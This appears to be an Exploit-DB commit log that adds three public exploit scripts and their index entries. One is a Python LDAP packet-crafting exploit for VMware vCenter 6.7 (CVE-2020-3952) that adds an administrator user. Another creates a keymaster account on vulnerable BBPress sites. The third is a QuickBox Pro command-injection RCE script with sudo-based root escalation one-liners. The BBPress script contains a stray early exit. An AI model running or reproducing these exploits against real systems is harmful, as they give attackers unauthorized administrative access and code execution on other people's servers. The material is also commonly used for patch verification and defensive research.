DB: 2020-06-02
3 changes to exploits/shellcodes Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation VMware vCenter Server 6.7 - Authentication Bypass QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
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Offensive Security
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248
exploits/multiple/webapps/48535.txt
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248
exploits/multiple/webapps/48535.txt
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# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
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# Date: 2020-06-01
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# Exploit Author: Photubias
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# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
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# Version: vCenter Server 6.7 before update 3f
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# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
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# CVE: CVE-2020-3952
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#!/usr/bin/env python3
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'''
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Copyright 2020 Photubias(c)
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This program is free software: you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation, either version 3 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program. If not, see <http://www.gnu.org/licenses/>.
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Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
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File name CVE-2020-3592.py
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written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
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## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
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This is a native implementation without requirements, written in Python 3.
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Works equally well on Windows as Linux (as MacOS, probably ;-)
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Features: exploit + vulnerability checker
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'''
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import binascii, socket, sys, string, random
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## Default vars; change at will
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_sIP = '192.168.50.35'
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_iPORT = 389
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_iTIMEOUT = 5
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def randomString(iStringLength=8):
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#sLetters = string.ascii_lowercase
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sLetters = string.ascii_letters
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return ''.join(random.choice(sLetters) for i in range(iStringLength))
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def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
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## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
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sReturn = sPrefix
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if (len(sData) / 2 ) > 255:
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sReturn += b'82'
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hexBytes = 2
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elif (len(sData) /2 ) >= 128:
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sReturn += b'81'
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sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
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return sReturn
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def buildBindRequestPacket(sUser, sPass):
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sUser = binascii.hexlify(sUser.encode())
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sPass = binascii.hexlify(sPass.encode())
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## Packet Construction
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sPacket = getLengthPrefix(sPass, b'80') + sPass
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sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
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sPacket = b'020103' + sPacket
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sPacket = getLengthPrefix(sPacket, b'60') + sPacket
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sPacket = b'020101' + sPacket
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sPacket = getLengthPrefix(sPacket, b'30') + sPacket
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#print(sPacket)
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return binascii.unhexlify(sPacket)
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def buildUserCreatePacket(sUser, sPass):
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sUser = binascii.hexlify(sUser.encode())
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sPass = binascii.hexlify(sPass.encode())
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def createAttribute(sName, sValue):
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sValue = getLengthPrefix(sValue, b'04') + sValue
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sName = getLengthPrefix(sName, b'04') + sName
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sReturn = getLengthPrefix(sValue, b'31') + sValue
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sReturn = sName + sReturn
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sReturn = getLengthPrefix(sReturn, b'30') + sReturn
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return sReturn
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def createObjectClass():
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sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
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sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
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sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
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sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
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sReturn = getLengthPrefix(sReturn, b'31') + sReturn
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sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
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sReturn = getLengthPrefix(sReturn, b'30') + sReturn
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return sReturn
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## Attributes
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sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
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sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
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sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
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sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
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sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
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sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
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sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
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sAttributes += createObjectClass()
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sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
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## CN
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sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
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sUserEntry = getLengthPrefix(sCN, b'04') + sCN
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## Packet Assembly (bottom up)
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sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
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sPacket = sUserEntry + sPacket
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sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
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sPacket = getLengthPrefix(sPacket, b'30') + sPacket
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#print(sPacket)
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return binascii.unhexlify(sPacket)
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def buildModifyUserPacket(sUser):
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sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
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sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
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sMember = binascii.hexlify(b'member')
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## Packet Construction
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sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
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sPacket = getLengthPrefix(sPacket, b'31') + sPacket
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sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
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sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
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sPacket = getLengthPrefix(sPacket, b'30') + sPacket
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sPacket = getLengthPrefix(sPacket, b'30') + sPacket
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sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
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sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
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sPacket = getLengthPrefix(sPacket, b'30') + sPacket
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#print(sPacket)
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return binascii.unhexlify(sPacket)
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def performBind(s):
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## Trying to bind, fails, but necessary (even fails when using correct credentials)
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dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
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s.send(dPacket)
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sResponse = s.recv(1024)
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try:
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sResponse = sResponse.split(b'\x04\x00')[0][-1:]
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sCode = binascii.hexlify(sResponse).decode()
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if sCode == '31': print('[+] Ok, service reachable, continuing')
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else: print('[-] Something went wrong')
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except:
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pass
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return sCode
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def performUserAdd(s, sUser, sPass):
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dPacket = buildUserCreatePacket(sUser,sPass)
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s.send(dPacket)
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sResponse = s.recv(1024)
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try:
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sCode = sResponse.split(b'\x04\x00')[0][-1:]
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sMessage = sResponse.split(b'\x04\x00')[1]
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if sCode == b'\x00':
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print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
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elif sCode == b'\x32':
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print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
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else:
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if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
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else: sMessage = sMessage[2:].decode()
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print('[-] Error, user not added, message received: ' + sMessage)
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except:
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pass
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return sCode
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def performUserMod(s, sUser, verbose = True):
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dPacket = buildModifyUserPacket(sUser)
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s.send(dPacket)
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sResponse = s.recv(1024)
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try:
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sCode = sResponse.split(b'\x04\x00')[0][-1:]
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sMessage = sResponse.split(b'\x04\x00')[1]
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if sCode == b'\x00':
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if verbose: print('[+] User modification success (if the above is OK).')
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else:
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if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
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else: sMessage = sMessage[2:].decode()
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if verbose: print('[-] Error during modification, message received: ' + sMessage)
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except:
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pass
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return sCode, sMessage
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def performUnbind(s):
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try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
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except: pass
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def main():
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global _sIP, _iPORT, _iTIMEOUT
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_sUSER = 'user_' + randomString(6)
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_sPASS = randomString(8) + '_2020'
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bAdduser = False
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if len(sys.argv) == 1:
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print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
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print(' Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
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print(' Leave username & password empty for a vulnerability check')
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print(' Watch out for vCenter/LDAP password requirements, leave empty for random password')
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print(' But for now, I will ask questions')
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sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
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if not sAnswer == '': _sIP = sAnswer
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sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
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if sAnswer.lower() == 'n': bAdduser = True
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if bAdduser:
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sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
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if not sAnswer == '': _sUSER = sAnswer
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sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
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if not sAnswer == '': _sPASS = sAnswer
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else:
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_sIP = sys.argv[1]
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if len(sys.argv) >= 3:
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_sUSER = sys.argv[2]
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bAdduser = True
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if len(sys.argv) >= 4: _sPASS = sys.argv[3]
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## MAIN
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print('')
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.settimeout(_iTIMEOUT)
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try:
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s.connect((_sIP,_iPORT))
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except:
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print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
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sys.exit(1)
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performBind(s)
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if bAdduser:
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sCode = performUserAdd(s, _sUSER, _sPASS)
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if not bAdduser:
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print('[!] Checking vulnerability')
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sCode, sMessage = performUserMod(s, 'Administrator', False)
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if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
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else: print('[+] This host is vulnerable!')
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else:
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sCode = performUserMod(s, _sUSER)
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performUnbind(s)
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s.close()
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if __name__ == "__main__":
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main()
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58
exploits/php/webapps/48534.py
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58
exploits/php/webapps/48534.py
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# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
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# Date: 2020-05-29
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# Exploit Author: Raphael Karger
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# Software Link: https://codex.bbpress.org/releases/
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# Version: BBPress < 2.5
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# CVE: CVE-2020-13693
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import argparse
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import requests
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import bs4
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import urllib3
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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useragent = {"User-Agent" : "This is a real browser i swear"}
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def grab_nonce_login_page(url):
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try:
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login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
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soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
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action = soup.find("form", class_="bbp-login-form")
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wp_login_page = action.get("action")
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wp_nonce = action.find("input", id="_wpnonce").get("value")
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return (wp_nonce, wp_login_page)
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except Exception as nonce_error:
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print("[-] Nonce Error: '{}'".format(nonce_error))
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return False
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def exploit(url, username, password, email):
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info = grab_nonce_login_page(url)
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if info:
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nonce = info[0]
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login_page = info[1]
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try:
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return requests.post(login_page, data={
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"user_login" : username,
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"user_pass" : password,
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"user_email" : email,
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"user-submit" : "",
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"user-cookie" : "1",
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"_wpnonce" : nonce,
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"bbp-forums-role" : "bbp_keymaster"
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}, allow_redirects=False, verify=False, timeout=10, headers=useragent)
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except Exception as e:
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print("[-] Error Making Signup Post Request: '{}'".format(e))
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return False
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if __name__ == "__main__":
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exit("asdasd")
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parser = argparse.ArgumentParser()
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parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
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parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
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parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
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parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
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args = parser.parse_args()
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site_exploit = exploit(args.url, args.username, args.password, args.email)
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if site_exploit and site_exploit.status_code == 302:
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exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
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print("[-] Exploit Failed")
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53
exploits/php/webapps/48536.py
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53
exploits/php/webapps/48536.py
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# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
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# Date: 2020-05-26
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# Exploit Author: s1gh
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# Vendor Homepage: https://quickbox.io/
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# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/
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# Version: <= 2.1.8
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# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.
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# Tested on: Debian 9
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# CVE: CVE-2020-13448
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# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE
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'''
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Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.
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1. sudo mysql -e '\! /bin/sh'
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2. sudo mount -o bind /bin/sh /bin/mount;sudo mount
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'''
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#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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import requests
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import argparse
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import sys
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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from urllib.parse import quote_plus
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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def exploit(args):
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s = requests.Session()
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print('[*] Sending our payload...')
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s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)
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try:
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s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)
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except requests.exceptions.ReadTimeout:
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pass
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def main():
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parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8")
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parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")
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parser.add_argument('-u',dest='username',required=True,help="Username")
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parser.add_argument('-p',dest='password',required=True,help="Password")
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parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")
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args = parser.parse_args()
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exploit(args)
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if __name__ == '__main__':
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main()
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sys.exit(0)
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@ -42761,3 +42761,6 @@ id,file,description,date,author,type,platform,port
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48531,exploits/php/webapps/48531.py,"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution",2020-05-28,Th3GundY,webapps,php,
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48532,exploits/php/webapps/48532.txt,"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)",2020-05-29,UnD3sc0n0c1d0,webapps,php,
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48533,exploits/multiple/webapps/48533.py,"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass",2020-05-29,"Halis Duraki",webapps,multiple,
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48534,exploits/php/webapps/48534.py,"Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation",2020-06-01,"Raphael Karger",webapps,php,
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48535,exploits/multiple/webapps/48535.txt,"VMware vCenter Server 6.7 - Authentication Bypass",2020-06-01,Photubias,webapps,multiple,
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48536,exploits/php/webapps/48536.py,"QuickBox Pro 2.1.8 - Authenticated Remote Code Execution",2020-06-01,s1gh,webapps,php,
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